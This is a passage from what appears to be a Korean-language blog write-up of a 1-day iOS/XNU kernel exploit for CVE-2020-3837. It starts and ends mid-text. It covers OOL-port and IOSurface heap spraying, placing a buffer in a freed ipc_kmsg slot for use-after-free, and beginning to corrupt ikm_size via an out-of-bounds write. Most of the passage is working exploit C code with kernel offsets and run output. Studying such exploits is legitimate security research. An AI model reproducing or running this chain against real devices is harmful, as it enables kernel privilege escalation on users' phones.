\ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud569\ub2c8\ub2e4.<\/p>\n<\/blockquote>\n<p>\uc774\uc0c1\uc801\uc73c\ub85c\ub294 \uc5ec\ub7ec \uac1c\uc758 out-of-line \ud3ec\ud2b8 \ubc30\uc5f4\uc744 \ud560\ub2f9\ud558\ub294 \uac83\uc774 \uc88b\uc9c0\ub9cc, \uc774 \ubc30\uc5f4\ub4e4\uc774 <code>kalloc()<\/code>\uc73c\ub85c \ud560\ub2f9\ub418\ubbc0\ub85c <code>KMA_ATOMIC<\/code> \ud50c\ub798\uadf8\uac00 \uc124\uc815\ub41c\ub2e4. \ub530\ub77c\uc11c \ubd80\ubd84\uc801\uc73c\ub85c\ub9cc \ud574\uc81c\ub420 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.<\/p>\n<p>\uc989, \ucd94\uac00 \ubc30\uc5f4\uc744 \ud560\ub2f9\ud560 \ub54c\ub9c8\ub2e4 \ucd5c\uc18c \ud574\uc81c \ud06c\uae30\uac00 \uc99d\uac00\ud558\uba70, \ub354 \ub9ce\uc740 <code>kfree()<\/code> \ubc84\ud37c \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud574\uc57c \ud55c\ub2e4\ub294 \uc758\ubbf8\uac00 \ub429\ub2c8\ub2e4.<\/p>\n<blockquote><\/blockquote>\n<p><code>(7 * pagesize) \/ sizeof(uint64_t)<\/code>\uc5d0 <code>1<\/code>\uc744 \ub354\ud558\uc5ec <code>ool_port_count<\/code>\ub97c 7\ud398\uc774\uc9c0 \ub118\uac8c\ub054 \uc870\uc815\ud568\uc73c\ub85c\uc368, 8\ud398\uc774\uc9c0\uc9dc\ub9ac\ub85c OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4\uc744 \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p>sock port 2 \uc775\uc2a4\ud50c\ub85c\uc787\uc5d0\uc11c\uc758 OOL \ud3ec\ud2b8 \uc2a4\ud504\ub808\uc774 \uacfc\uc815\uacfc \ube44\uc2b7\ud558\uac8c\n<code>send_ool_port<\/code> \ud568\uc218\ub294 \uba54\uc2dc\uc9c0\uac00 <strong>\uc804\uc1a1(<code>MACH_SEND_MSG<\/code>)<\/strong> \ub418\uc9c0\ub9cc <strong>\uc218\uc2e0\ub418\uc9c0\ub294 \uc54a\ub294\ub2e4<\/strong>\ub294 \uc810\uc744 \uc774\uc6a9\ud558\uc5ec \uba54\uc2dc\uc9c0\uc758 \ub300\uc0c1 \ud3ec\ud2b8\uac00 \ud30c\uad34\ub418\uae30 \uc804\uae4c\uc9c0\ub294 \uba54\uc2dc\uc9c0\uac00 <strong>\ucee4\ub110 \uacf5\uac04\uc5d0 \ub0a8\uc544 \uc788\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/strong><\/p>\n<p>\ud558\uc9c0\ub9cc <code>target_port<\/code>\uac00 <code>MACH_PORT_NULL<\/code>\ub85c \ub418\uc5b4\uc788\uae30\uc5d0\n\uc0ac\uc6a9\uc790 \ubaa8\ub4dc Task Port\uac00 \ucee4\ub110 \ubaa8\ub4dc Task Port\uc758 \uc8fc\uc18c\ub85c \ubcc0\ud658\ub418\uc9c0\ub294 \uc54a\uc544\uc11c,\n\ucee4\ub110\uc5d0\uc11c \uc800\uc7a5\ub418\ub294 \ucd5c\uc885 \uba54\uc2dc\uc9c0 \ub0b4\uc6a9\uc740 NULL\ub85c \ucc44\uc6cc\uc9c4\ub2e4.<\/p>\n<p>\ud560\ub2f9\ub41c \ud574\ub2f9 OOL \ud3ec\ud2b8 \ubc30\uc5f4 \uc5ed\uc2dc, \ucd94\ud6c4 UAF\ub420 \uc804\ub9dd\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int disposition) {\n    kern_return_t ret;\n    \n    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);\n    for (int i = 0; i &lt; count; i++) {\n        ports[i] = target_port;\n    }\n    \n    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));\n    \n    msg-&gt;hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);\n    msg-&gt;hdr.msgh_remote_port = where;\n    msg-&gt;hdr.msgh_local_port = MACH_PORT_NULL;\n    msg-&gt;hdr.msgh_id = 0x41414141;\n    \n    msg-&gt;body.msgh_descriptor_count = 1;\n    \n    msg-&gt;ool_ports.address = ports;\n    msg-&gt;ool_ports.count = count;\n    msg-&gt;ool_ports.deallocate = 0;\n    msg-&gt;ool_ports.disposition = disposition;\n    msg-&gt;ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg-&gt;ool_ports.copy = MACH_MSG_PHYSICAL_COPY;\n    \n    ret = mach_msg(&amp;msg-&gt;hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg-&gt;hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    \n    free(msg);\n    free(ports);\n    \n    if (ret) {\n        printf(&quot;[-] Failed to send OOL message: 0x%x (%s)\\n&quot;, ret, mach_error_string(ret));\n        return KERN_FAILURE;\n    }\n    \n    return 0;\n}\n\n...\n\n\/\/ allocate ool buffer which we'll also UAF\n    mach_port_t ool_message_port = POP_PORT();\n    int ool_ports_count = (7 * pagesize) \/ sizeof(uint64_t) + 1;\n    ret = send_ool_ports(ool_message_port, MACH_PORT_NULL, ool_ports_count, MACH_MSG_TYPE_COPY_SEND);\n    if (ret) {\n        printf(&quot;[-] Failed to send ool ports message\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p>OOL ports \uc8fc\uc18c\ub97c \ucc3e\ub294\ubc95\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">uint64_t find_oolports_from_port(mach_port_name_t port) {\n    uint64_t port_kaddr = find_port(port);\n\n    \/\/https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2019-8605\/dangling_kptr_reuse\/ool.c#L62\n    uint32_t off_ipc_port_ikmq_base = 0x40;\n    uint64_t ikmq_base = kread64(port_kaddr + off_ipc_port_ikmq_base);\n    \/\/ INFO(&quot;ikmq_base: 0x%llx\\n&quot;, ikmq_base);\n\n    uint32_t off_ipc_kmsg_ikm_header = 0x18; \/\/ p\/x offsetof(struct ipc_kmsg, ikm_header)\n    uint64_t ikm_header = kread64(ikmq_base+off_ipc_kmsg_ikm_header);\n\n    uint64_t off_mach_msg_ool_ports_desc_address = 0x24; \/\/?\n    return kread64(ikm_header + off_mach_msg_ool_ports_desc_address);\n}\n...\n    #if ENABLE_HELPER\n    \/\/helper; obtain ool ports addr\n    uint64_t oolports_kptr = find_oolports_from_port(ool_message_port);\n    INFO(&quot;ool_message_port(port=0x%x)'s msgdata_kptr = 0x%llx\\n&quot;, ool_message_port, oolports_kptr);\n    \/\/ khexdump(kread64(kmsgdata_kptr+4), 0x1000);\n    \/\/ getchar();\n    \/\/\n    #endif\n<\/code><\/pre>\n<p>\uc544\ub798\uc640 \uac19\uc774 OOL ports\uac00 \ud2b9\uc815\uc8fc\uc18c\uc5d0 \uc704\uce58\ud558\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">[*] ool_message_port(port=0x1d03)'s msgdata_kptr = 0xffffffe0db810000\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%205.png\" alt=\"image.png\"><\/p>\n<h2>6. (1\ubc88 \uacfc\uc815\uc5d0\uc11c\ud588\ub358) IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \ud560\ub2f9\ub41c 82MB \ucee4\ub110\uba54\ubaa8\ub9ac \ud574\uc81c<\/h2>\n<p>IOSurface\uc5d0\uc11c \uc81c\uacf5\ud558\ub294 \uba54\uc18c\ub4dc\uc778 <code>IOSurfaceRootUserClient::remove_value<\/code> \ub97c \uc774\uc6a9\ud558\uc5ec 1\ubc88 \uacfc\uc815\uc5d0\uc11c \ud560\ub2f9\uc2dc\ucf30\ub358 82M \ud06c\uae30\uc758 \ub370\uc774\ud130\ub97c \ud574\uc81c\uc2dc\ud0a8\ub2e4.<\/p>\n<p>\uc774\ub807\uac8c \ud558\uba74, \uc774\ud6c4 \uc2a4\ud504\ub808\uc774\ub97c \ud558\ub294\ub370\uc5d0 XML \ub370\uc774\ud130 \ube14\ub86d\uc744 \ub9e4\ud551\ud560 \uc218 \uc788\ub294 hole\uc774 \uc0dd\uae30\uac8c \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/*\n * IOSurface_remove_value\n *\n * Description:\n * \tA wrapper around IOSurfaceRootUserClient::remove_value().\n *\/\nkern_return_t\nIOSurface_remove_value(const struct IOSurfaceValueArgs *args, size_t args_size) {\n\tstruct IOSurfaceValueResultArgs result;\n\tsize_t result_size = sizeof(result);\n\tkern_return_t kr = IOConnectCallMethod(\n\t\t\tIOSurfaceRootUserClient,\n\t\t\t11, \/\/ remove_value\n\t\t\tNULL, 0,\n\t\t\targs, args_size,\n\t\t\tNULL, NULL,\n\t\t\t&amp;result, &amp;result_size);\n\tif (kr != KERN_SUCCESS) {\n\t\tERROR(&quot;failed to %s value in %s: 0x%x&quot;, &quot;remove&quot;, &quot;IOSurface&quot;, kr);\n\t}\n\treturn kr;\n}\n\n...\n\nint IOSurface_remove_property(uint32_t key) {\n    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);\n    struct IOSurfaceValueArgs *args = malloc(argsSz);\n    bzero(args, argsSz);\n    args-&gt;surface_id = IOSurface_id;\n    args-&gt;xml[0] = key;\n    args-&gt;xml[1] = 0;\n    int ret = IOSurface_remove_value(args, 16);\n    free(args);\n    return ret;\n}\n\n...\n\n    \/\/ free huge allocation\n    ret = IOSurface_remove_property(huge_kalloc_key);\n    if (ret) {\n        printf(&quot;[-] Failed to remove IOSurface property\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%206.png\" alt=\"image.png\"><\/p>\n<h2>7. IOSurface\ub97c \ud65c\uc6a9\ud55c 8\ud398\uc774\uc9c0 \ud06c\uae30\uc758 kfree_buffer \ud560\ub2f9<\/h2>\n<p>\ucd94\ud6c4 <code>\u201cvm_map_delete(\u2026): hole after %p\u201d<\/code> \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\ub3c4\ub85d \ud558\uae30 \uc704\ud574\uc11c\ub294\nOOL \ud3ec\ud2b8 \ubc30\uc5f4 \uc774\ud6c4\uc758 80MB(=0x5000000 \ubc14\uc774\ud2b8)\uac00 \ubc18\ub4dc\uc2dc \ud560\ub2f9\ub418\uc5b4 \uc788\uc5b4\uc57c \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">static kern_return_t\nvm_map_delete(\n\tvm_map_t\t\tmap,\n\tvm_map_offset_t\t\tstart,\n\tvm_map_offset_t\t\tend,\n\tint\t\t\tflags,\n\tvm_map_t\t\tzap_map)\n{\n\tvm_map_entry_t\t\tentry, next;\n\tstruct\t vm_map_entry\t*first_entry, tmp_entry;\n\tvm_map_offset_t\t\ts;\n\tvm_object_t\t\tobject;\n\tboolean_t\t\tneed_wakeup;\n\tunsigned int\t\tlast_timestamp = ~0; \/* unlikely value *\/\n\tint\t\t\tinterruptible;\n\tvm_map_offset_t\t\tgap_start;\n\tvm_map_offset_t\t\tsave_start = start;\n\tvm_map_offset_t\t\tsave_end = end;\n\tconst vm_map_offset_t\tFIND_GAP = 1;\t\/* a not page aligned value *\/\n\tconst vm_map_offset_t\tGAPS_OK = 2;\t\/* a different not page aligned value *\/\n\n\t\/*\n\t *\tStep through all entries in this region\n\t *\/\n\ts = entry-&gt;vme_start;\n\twhile ((entry != vm_map_to_entry(map)) &amp;&amp; (s &lt; end)) {\n\t\t...\n\t\tnext = entry-&gt;vme_next;\n\n\t\tif (map-&gt;pmap == kernel_pmap &amp;&amp;\n\t\t    map-&gt;map_refcnt != 0 &amp;&amp;\n\t\t    entry-&gt;vme_end &lt; end &amp;&amp;\n\t\t    (next == vm_map_to_entry(map) ||\n\t\t     next-&gt;vme_start != entry-&gt;vme_end)) {\n\t\t\tpanic(&quot;vm_map_delete(%p,0x%llx,0x%llx): &quot;\n\t\t\t      &quot;hole after %p at 0x%llx\\n&quot;,\n\t\t\t      map,\n\t\t\t      (uint64_t)start,\n\t\t\t      (uint64_t)end,\n\t\t\t      entry,\n\t\t\t      (uint64_t)entry-&gt;vme_end);\n\t\t}\n\t\t...\n\n<\/code><\/pre>\n<p>\ub610\ud55c \uc774 \uba54\ubaa8\ub9ac\ub294 <code>kalloc()<\/code>\uc73c\ub85c \ud560\ub2f9\ud560 \uc218 \uc5c6\ub2e4.<\/p>\n<p><code>kalloc()<\/code>\uc740 <code>KMA_ATOMIC<\/code> \ud50c\ub798\uadf8\ub97c \uc124\uc815\ud558\ub294\ub370, \uc774\ub294 \uc190\uc0c1\ub41c <code>ipc_kmsg<\/code>\ub97c \ud574\uc81c\ud560 \ub54c \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \uac83\ucc98\ub7fc \ubd80\ubd84\uc801\uc73c\ub85c \ud574\uc81c\ub420 \uc218 \uc5c6\uc74c\uc744 \uc758\ubbf8\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c IOSurface\ub97c \uc774\uc6a9\ud558\uc5ec \ub0b4\ubd80\uc801\uc73c\ub85c <code>kmem_alloc()<\/code>\uc744 \ud638\ucd9c\ud558\uc5ec \uc2a4\ud504\ub808\uc774\ub97c \uc9c4\ud589\ud55c\ub2e4.<\/p>\n<p>\ucd1d count=640\ubc88 size=80MB\uc529 0x42\u2026\ub85c \ucc44\uc6cc\uc9c4 \ubc84\ud37c\ub4e4\ub85c \uc2a4\ud504\ub808\uc774\uc2dc\ud0a8\ub2e4.<\/p>\n<p>\uadf8\ub7ec\uba74, 640\ubc88 \uc911 \ud55c\ubc88\uc774 ool ports \ub2e4\uc74c \uc8fc\uc18c\uc5d0 \uc704\uce58\ud558\uac8c \ub420\uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {\n    if (size &lt; pagesize) {\n        printf(&quot;[-][IOSurface] Size too small for kmem_alloc\\n&quot;);\n        return KERN_FAILURE;\n    }\n    if (size &gt; 0x00ffffff) {\n        printf(&quot;[-][IOSurface] Size too big for OSUnserializeBinary\\n&quot;);\n        return KERN_FAILURE;\n    }\n    if (count &gt; 0x00ffffff) {\n        printf(&quot;[-][IOSurface] Size too big for OSUnserializeBinary\\n&quot;);\n        return KERN_FAILURE;\n    }\n    \n    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)\/4) * 4) + 6 * 4 + count * 4;\n    \n    struct IOSurfaceValueArgs *args = calloc(1, args_size);\n    args-&gt;surface_id = IOSurface_id;\n    \n    int i = 0;\n    args-&gt;xml[i++] = kOSSerializeBinarySignature;                         \/\/&lt;kOSSerializeBinarySignature \/&gt; \n    args-&gt;xml[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;    \/\/&lt;array capacity=&quot;2&quot;&gt;\n    args-&gt;xml[i++] = kOSSerializeArray | count;                           \/\/&lt;array capacity=&quot;count&quot;&gt;    \n    for (int c = 0; c &lt; count; c++) {\n        args-&gt;xml[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0);  \/\/&lt;data length=&quot;size&quot;&gt;\n        memcpy(&amp;args-&gt;xml[i], data, size);  \/\/...data...\n        i += (size + 3)\/4;  \/\/&lt;\/data&gt;\n    }\n    args-&gt;xml[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;    \/\/&lt;sym len=&quot;5&quot;&gt;\n    args-&gt;xml[i++] = kalloc_key;                                            \/\/key&lt;\/sym&gt;&lt;\/array&gt;\n    args-&gt;xml[i++] = 0;                                                     \/\/Null-terminate\n    \n    \/\/ &lt;kOSSerializeBinarySignature \/&gt;\n    \/\/ &lt;kOSSerializeArray&gt;2&lt;\/kOSSerializeArray&gt;\n    \/\/ &lt;kOSSerializeArray capacity=${count}&gt;\n    \/\/     &lt;kOSSerializeData length=${size}&gt;${data}&lt;\/kOSSerializeData&gt;\n    \/\/     ...\n    \/\/ &lt;\/kOSSerializeArray&gt;\n    \/\/ &lt;kOSSerializeSymbol length=5&gt;\n    \/\/     ${kalloc_key}\n    \/\/ &lt;\/kOSSerializeSymbol&gt;\n    \/\/ 0 \/\/ Null-terminate      \n    \n\n    kern_return_t ret = IOSurface_set_value(args, args_size);\n    free(args);\n    return ret;\n}\n\n...\n\n    void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize;\n\n    uint32_t kfree_buffer_key = transpose(property_index++);\n    memset(spray_buffer, 0x42, 8 * pagesize); \/\/ we'll need later in clean up to check if memory is still allocated\n    ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB \/ (8 * pagesize), kfree_buffer_key);\n    if (ret) {\n        printf(&quot;[-] Failed to spray\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%207.png\" alt=\"image.png\"><\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c, IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \uc801\uc7ac\ub41c \ub370\uc774\ud130\ub294 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \uc704\uce58\ud574\uc788\ub294\uc9c0 \uc5b4\ub5bb\uac8c \ud655\uc778\ud560 \uc218 \uc788\uc744\uae4c?<\/p>\n<p>1\ubc88 \uacfc\uc815\uc5d0\uc11c \uc8fc\uc18c\ub97c \uad6c\ud5c0\ub358\uac83\ucc98\ub7fc \ud06c\uac8c \ub2e4\ub974\uc9c0 \uc54a\ub2e4.\n<code>dict-&gt;items[i].value<\/code> \uc740 OSDictionary\uc774\uac70\ub098 OSArray \ub4f1 \uc5b4\ub5a4 \ud0c0\uc785\uc774\ub4e0\uc9c0 \ub420 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 <code>args-&gt;xml[i++] = kOSSerializeArray | count;<\/code> \ucf54\ub4dc \ucc98\ub7fc count\uc640 \ud568\uaed8 <strong><code>kOSSerializeArray<\/code>\ub97c \uc120\uc5b8<\/strong>\ud588\uae30 \ub54c\ubb38\uc5d0 OSArray \uad6c\uc870\uccb4\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">00000000 struct __cppobj OSArray : OSCollection \/\/ sizeof=0x28\n00000000 {\n00000014     unsigned int count;\n00000018     unsigned int capacity;\n0000001C     unsigned int capacityIncrement;\n00000020     OSArray::ArrayPtrType *array;\n00000028 };\n\n00000008 typedef const OSMetaClassBase *OSArray::ArrayPtrType;\n\n00000000 struct __cppobj OSData : OSObject \/\/ sizeof=0x28\n00000000 {\n0000000C     unsigned int length;\n00000010     unsigned int capacity;\n00000014     unsigned int capacityIncrement;\n00000018     void *data;\n00000020     OSData::ExpansionData *reserved;\n00000028 };\n<\/code><\/pre>\n<p>\uc2e4\uc81c\ub85c ool ports \ub2e4\uc74c \uc8fc\uc18c\uc5d0 \uc704\uce58\ud558\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574, \uc544\ub798\ucf54\ub4dc\ub97c \uad6c\ud604\ud558\uc600\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uac00 \uc2a4\ud504\ub808\uc774\ud588\ub358 <code>osarray_count<\/code>\uac00 \uc77c\uce58\ud558\uba74, \ud574\ub2f9 count\ub9cc\ud07c \uc21c\ud68c\ud558\uba74\uc11c 0x42\u2026 \uac12\ub4e4\ub85c \uc2a4\ud504\ub808\uc774\ub41c \uacf3\uc744 \ucc3e\uae30 \uc704\ud574 OSData \uad6c\uc870\uccb4\uc758 data \ud544\ub4dc\ub97c \uc77d\uc5b4\ub0b8\ub2e4.<\/p>\n<p>\uc804\uc5d0\ub3c4 \ub9d0\ud588\ub2e4\uc2dc\ud53c \uc2a4\ud504\ub808\uc774 \uce74\uc6b4\ud2b8\uac00 640\ubc88 \uc911 \uc5b4\ub290 \uc21c\uac04\ubd80\ud130\ub294 ool ports \ub2e4\uc74c \uc8fc\uc18c\uc5d0 \uc704\uce58\ud560 \uac83\uc774\uace0,\n\ub192\uc740 \uc8fc\uc18c\uc5d0 \ubd84\uba85 \uc704\uce58\ud560 \uac83\uc774\ub2e4.<\/p>\n<p>\uc77d\uc5b4\ub0b8 \uc8fc\uc18c\uac00 ool ports \ud560\ub2f9 \uc8fc\uc18c\ubcf4\ub2e4 \ub192\uc740 \uc8fc\uc18c\uc5d0 \uc704\uce58\ud55c\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">#if ENABLE_HELPER\n    dict = kernel_fetch_dict(userspaceValueDicts);\n    uint64_t kfree_buffer_addr = 0;\n    \n    for (int i = 0; i &lt; dict-&gt;count; i++) {\n\t\tif(dict-&gt;items[i].value) {\n            uint32_t osarray_count = kread32(dict-&gt;items[i].value + off_osarray_count);\n\t        uint32_t osarray_capacity = kread32(dict-&gt;items[i].value + off_osarray_capacity);\n            uint64_t osarray_array = kread64(dict-&gt;items[i].value + off_osarray_array);\n\n            if(osarray_count == (80 MB \/ (8 * pagesize))) {\n                SUCCESS(&quot;Found our 2nd sprayed IOSurface data!\\n&quot;);\n                \/\/ INFO(&quot;osarray_count = 0x%x, osarray_capacity = 0x%x\\n&quot;, osarray_capacity, osarray_capacity);\n\n                for(uint32_t j = 0; j &lt; osarray_count; j++) {\n                    uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict-&gt;items[i].value, j);\n\t\t            uint64_t kbuffer = OSData_buffer(osdata_in_osarray);\n                    \/\/ printf(&quot;osdata_in_osarray = 0x%llx\\n&quot;, osdata_in_osarray);\n                    \/\/ printf(&quot;osdata_kbuffer(OSArray[%u]) = 0x%llx\\n&quot;, j, kbuffer);\n                    if(oolports_kptr &lt; kbuffer) {\n                        kfree_buffer_addr = kbuffer;\n                        break;\n                    }\n                }\n            }\n\t\t}\n    }\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%208.png\" alt=\"image.png\"><\/p>\n<h2>8. ipc_kmsg2 \ud560\ub2f9 \ud574\uc81c<\/h2>\n<pre><code class=\"language-cpp\">mach_port_destroy(mach_task_self(), placeholder_message_port);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%209.png\" alt=\"image.png\"><\/p>\n<h2>9. \ud574\uc81c\ub41c ipc_kmsg2 \uacf5\uac04\uc5d0 8\ud398\uc774\uc9c0 \ud06c\uae30\uc758 spray_buffer \ud560\ub2f9<\/h2>\n<p>7\ubc88 \uacfc\uc815\uc5d0\uc11c \uc9c4\ud589\ud588\ub358 \uac83\uacfc \ub3d9\uc77c\ud558\uac8c \uc218\ud589\ud574\uc900\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    uint32_t spray_buffer_key = transpose(property_index++);\n    ret = IOSurface_kmem_alloc_spray(spray_buffer, 8 * pagesize, 80 MB \/ (8 * pagesize), spray_buffer_key);\n    if (ret) {\n        printf(&quot;[-] Failed to spray\\n&quot;);\n        goto err;\n    }\n<\/code><\/pre>\n<ul>\n<li>IOSurface\ub97c \ud65c\uc6a9\ud558\uc5ec \ud560\ub2f9\ub41c <code>spray_buffer<\/code> \uc8fc\uc18c\ub97c \uad6c\ud558\ub294 \ucf54\ub4dc<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">    #if ENABLE_HELPER\n    dict = kernel_fetch_dict(userspaceValueDicts);\n    uint64_t spray_buffer_addr = 0;\n    \n    for (int i = 0; i &lt; dict-&gt;count; i++) {\n\t\tif(dict-&gt;items[i].value) {\n            uint32_t osarray_count = kread32(dict-&gt;items[i].value + 0x14);\t\/\/ 0x14 = p\/x offsetof(OSArray, count)\n\t        uint32_t osarray_capacity = kread32(dict-&gt;items[i].value + 0x18);\t\/\/ 0x18 = p\/x offsetof(OSArray, capacity)\n            uint64_t osarray_array = kread64(dict-&gt;items[i].value + 0x20);    \/\/ 0x20 = p\/x offsetof(OSArray, array)    \n\n            if(osarray_count == (80 MB \/ (8 * pagesize)) &amp;&amp; i == 2) {\n                SUCCESS(&quot;Found our 3rd sprayed IOSurface data!\\n&quot;);\n                INFO(&quot;osarray_count = 0x%x, osarray_capacity = 0x%x\\n&quot;, osarray_capacity, osarray_capacity);\n\n                for(uint32_t j = 0; j &lt; osarray_count; j++) {\n                    uint64_t osdata_in_osarray = OSArray_objectAtIndex(dict-&gt;items[i].value, j);\n\t\t            uint64_t kbuffer = OSData_buffer(osdata_in_osarray);\n                    \/\/ printf(&quot;osdata_in_osarray = 0x%llx\\n&quot;, osdata_in_osarray);\n                    \/\/ printf(&quot;osdata_kbuffer(OSArray[%u]) = 0x%llx\\n&quot;, j, kbuffer);\n                    if(ipc_kmsg_addr &lt; kbuffer &amp;&amp; kbuffer &lt; oolports_kptr) {\n                        spray_buffer_addr = kbuffer;\n                        break;\n                    }\n                }\n                \/\/ spray_buffer_addr = kbuffer;\n            }\n\t\t}\n    }\n\n    printf(&quot;\\n\\n=================== Overall Info ===================\\n&quot;);\n    printf(&quot;seglist =                   0x%llx\\n&quot;, segment_list_shmem_data_kva);\n    printf(&quot;cmdbuf =                    0x%llx\\n&quot;, command_buffer_shmem_data_kva);\n    printf(&quot;ipc_kmsg =                  0x%llx\\n&quot;, ipc_kmsg_addr);\n    printf(&quot;ipc_kmsg2(FREED) =          0x%llx\\n&quot;, ipc_kmsg2_addr);\n    printf(&quot;[*] spray_buffer =          0x%llx\\n&quot;, spray_buffer_addr);\n    printf(&quot;oolports =                  0x%llx\\n&quot;, oolports_kptr);\n    printf(&quot;kfree_buffer =              0x%llx\\n&quot;, kfree_buffer_addr);\n    printf(&quot;====================================================\\n\\n&quot;);\n\n    INFO(&quot;spinning here...\\n&quot;); \n    getchar();\n    #endif\n    \n    \/\/ now:\n    \/\/ +------------------+------------------+-----------------+--------------+-----------+--------------+\n    \/\/ |   segment list   |  command buffer  | struct ipc_kmsg | spray_buffer | ool_ports | kfree_buffer |\n    \/\/ +------------------+------------------+-----------------+--------------+-----------+--------------+\n    \/\/\n<\/code><\/pre>\n<p>\ud655\uc778\uc2dc <code>spray_buffer<\/code> \uc8fc\uc18c\ub294 \ud560\ub2f9\ud574\uc81c\ub41c <code>ipc_kmsg2<\/code> \uc8fc\uc18c\uc640 \ub3d9\uc77c\ud558\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">=================== Overall Info ===================\nseglist =                   0xffffffe0cf7d0000\ncmdbuf =                    0xffffffe0d57d0000\nipc_kmsg =                  0xffffffe0db7d0000\nipc_kmsg2(FREED) =          0xffffffe0db7f0000\n[*] spray_buffer =          0xffffffe0db7f0000\noolports =                  0xffffffe0db810000\nkfree_buffer =              0xffffffe0db830000\n====================================================\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image%2010.png\" alt=\"image.png\"><\/p>\n<h2>10. ipc_kmsg\uc758 <code>ikm_size<\/code>\ud544\ub4dc\ub97c \uc190\uc0c1\uc2dc\ud0a4\uace0, \ud6e8\uc52c \ub354 \ub113\uc740 \ubc94\uc704\ub85c free\uc2dc\ud0a4\uae30<\/h2>\n<ul>\n<li>OOB Write \ucde8\uc57d\uc810\uc73c\ub85c command buffer \ub2e4\uc74c \uc601\uc5ed\uc778 <code>ipc_kmsg<\/code> \uc601\uc5ed\uc758 <code>ikm_size<\/code> \ud544\ub4dc\ub97c \uc190\uc0c1\uc2dc\ud0ac \uc218 \uc788\uc74c.<\/li>\n<li><code>ikm_size<\/code> \ud544\ub4dc\ub97c \uc870\uc815\ud568\uc73c\ub85c\uc368 <code>ipc_kmsg<\/code>\ub97c \ud560\ub2f9\ud574\uc81c\uc2dc\ud0ac \ub54c, \ud6e8\uc52c \ub354 \ub113\uc740 \ubc94\uc704\ub85c free\uc2dc\ud0ac \uc218 \uc788\uc74c.<\/li>\n<li><code>ipc_kmsg<\/code> \uc601\uc5ed\uc758 \uc190\uc0c1\uc2dc\ud0a8 <code>ikm_size<\/code> \ud544\ub4dc\ub294 <code>mach_absolute_time<\/code> \ub9ac\ud134\uac12\uc73c\ub85c \ub36e\ud798.<\/li>\n<li><code>mach_absolute_time<\/code> \ud568\uc218\ub294 \ud2f1 \ub2e8\uc704\ub85c 